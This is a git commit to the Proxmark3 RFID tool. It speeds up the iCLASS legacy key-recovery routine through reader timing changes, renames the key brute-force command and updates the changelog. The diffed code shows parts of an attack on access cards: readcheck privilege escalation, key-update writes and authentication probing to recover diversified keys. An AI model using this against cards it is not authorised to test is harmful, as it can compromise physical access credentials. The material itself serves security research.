Modified iclass recover operations

1- Renamed legreclookup to legbrute to be in line with the command name
2- Updated estimate values with speed increase gains
3- Improved some if statements readability in iclass.c and added start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; to increase speed by ~8% (1.86 loops per second to 2.01 loops per second = ~560 more loops per hour).

Tried disabling some arm communications/comments but the speed increase was negligible (~1 sec / 1000 updates).
This commit is contained in:
Antiklesys 2025-05-30 12:36:42 +08:00
commit 04cfe2a43e
3 changed files with 25 additions and 16 deletions

View file

@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
- Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys)
- Modified `hf iclass tear` - now has a device side implementation also. @antiklesys (@iceman1001)
- Changed `hf iclass info` - now uses CSN values based checks (@antiklesys)
- Changed `hf iclass dump` - now uses default AA1 key when called without a key or key index (@iceman1001)
@ -10,7 +11,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Changed `hw tearoff` - the device side message is now debug log controlled (@iceman1001)
- Changed `pm3.sh` - Serial ports enumeration on Proxspace3.xx / MINGW environments, now using powershell.exe since wmic is deprecated (@iceman1001)
- Fixed and updated `hf iclass trbl` to correctly use the credit key when passed and show partial tearoff results (@antiklesys)
- Fixed `hf iclass legbrute` was not correctly parsin the index value
- Fixed `hf iclass legbrute` was not correctly parsing the index value
- Fixed `hf mf ekeyprn` - failed to download emulator memory due to wrong size calculation (@iceman1001)
- Fixed `hf mf fchk --mem` to actually use flash dict (@doegox)
- Fixed `make install` on OSX thanks DaveItsLong (@doegox)

View file

@ -2708,6 +2708,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
bool priv_esc = false;
while (!priv_esc) {
//The privilege escalation is done with a readcheck and not just a normal read!
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
// expect a 8-byte response here
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
@ -2747,27 +2748,29 @@ void iClass_Recover(iclass_recover_req_t *msg) {
Dbhexdump(8, genkeyblock, false);
}
//Reset cypher state
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//try to authenticate with the original mac to verify the write happened
memcpy(msg->req.key, original_mac, 8);
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (msg->test) {
if (res != true) {
DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***"));
goto out;
} else {
if (res) {
DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***"));
completed = true;
goto out;
} else {
DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***"));
goto out;
}
} else {
if (res != true) {
DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!"));
written = true;
} else {
if (res) {
DbpString("Write Operation : "_RED_("FAILED! Card Key is the Original. Retrying..."));
write_error = true;
} else {
DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!"));
written = true;
}
}
}
@ -2775,10 +2778,12 @@ void iClass_Recover(iclass_recover_req_t *msg) {
if (!write_error) {
//Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key
for (int i = 0; i < 8 ; ++i) {
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//need to craft the authentication payload accordingly
memcpy(msg->req.key, iclass_mac_table[i], 8);
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
if (res == true) {
bits_found = i;
@ -2794,9 +2799,10 @@ void iClass_Recover(iclass_recover_req_t *msg) {
uint8_t revert_retries = 0;
while (!reverted) {
//Regain privilege escalation with a readcheck
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
// TODO: check result
GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
DbpString(_YELLOW_("Attempting to restore the original key. "));
if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) {
@ -2806,12 +2812,14 @@ void iClass_Recover(iclass_recover_req_t *msg) {
}
DbpString(_YELLOW_("Verifying Key Restore..."));
//Do a readcheck first to reset the cypher state
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
// TODO: check result
GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//need to craft the authentication payload accordingly
memcpy(msg->req.key, original_mac, 8);
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == true) {
DbpString("Restore of Original Key "_GREEN_("VERIFIED! Card is usable again."));

View file

@ -4578,7 +4578,7 @@ void generate_key_block_inverted(const uint8_t *startingKey, uint64_t index, uin
}
}
static int CmdHFiClassLegRecLookUp(const char *Cmd) {
static int CmdHFiClassLegBrute(const char *Cmd) {
//Standalone Command Start
CLIParserContext *ctx;
@ -4805,7 +4805,7 @@ static int CmdHFiClassLegacyRecSim(void) {
PrintAndLogEx(SUCCESS, "Original Key: " _GREEN_("%s"), sprint_hex(original_key, sizeof(original_key)));
PrintAndLogEx(SUCCESS, "Weak Key: " _GREEN_("%s"), sprint_hex(key, sizeof(key)));
PrintAndLogEx(SUCCESS, "Key Updates Required to Weak Key: " _GREEN_("%d"), index);
PrintAndLogEx(SUCCESS, "Estimated Time: ~" _GREEN_("%d")" hours", index / 6545);
PrintAndLogEx(SUCCESS, "Estimated Time: ~" _GREEN_("%d")" hours", index / 7250);
}
index++;
@ -5896,7 +5896,7 @@ static command_t CommandTable[] = {
{"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"},
{"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"},
{"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination"},
{"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"},
{"legbrute", CmdHFiClassLegBrute, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"},
{"unhash", CmdHFiClassUnhash, AlwaysAvailable, "Reverses a diversified key to retrieve hash0 pre-images after DES encryption"},
{"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"},
{"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"},